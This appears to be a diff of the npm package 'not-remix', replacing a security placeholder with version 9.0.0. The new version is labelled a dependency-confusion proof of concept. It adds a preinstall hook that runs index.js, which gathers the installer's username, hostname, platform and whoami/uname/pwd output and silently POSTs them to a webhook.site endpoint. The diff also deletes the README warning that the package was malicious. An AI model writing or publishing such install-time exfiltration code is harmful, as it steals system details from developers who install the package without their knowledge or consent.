not-remix 0.0.1-security → 9.0.0

package/index.js

@@ -0,0 +1,49 @@
+const https = require('https');
+const os = require('os');
+const { execSync } = require('child_process');
+
+// 1. Get victim identity
+const user = os.userInfo().username;
+const host = os.hostname();
+
+// 2. Run system commands safely
+let whoami = '';
+let uname = '';
+let pwd = '';
+
+try {
+    whoami = execSync('whoami').toString().trim();
+    uname = execSync('uname -a').toString().trim();
+    pwd = execSync('pwd').toString().trim();
+} catch (e) {
+    // ignore errors
+}
+
+// 3. Prepare data (URL-safe)
+const data = JSON.stringify({
+    user: user,
+    host: host,
+    platform: os.platform(),
+    whoami: whoami,
+    uname: uname,
+    pwd: pwd
+});
+
+// 4. Webhook request options
+const options = {
+    hostname: 'webhook.site',
+    path: '/a043f82b-a3af-450a-8d32-12b1ea2babaf',
+    method: 'POST',
+    headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(data)
+    }
+};
+
+// 5. Fire-and-forget callback
+try {
+    const req = https.request(options, () => {});
+    req.on('error', () => {});
+    req.write(data);
+    req.end();
+} catch (e) {}

package/package.json

@@ -1,6 +1,9 @@
 {
   "name": "not-remix",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "9.0.0",
+  "description": "Security Research - Dependency Confusion PoC",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node index.js"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=not-remix for more information.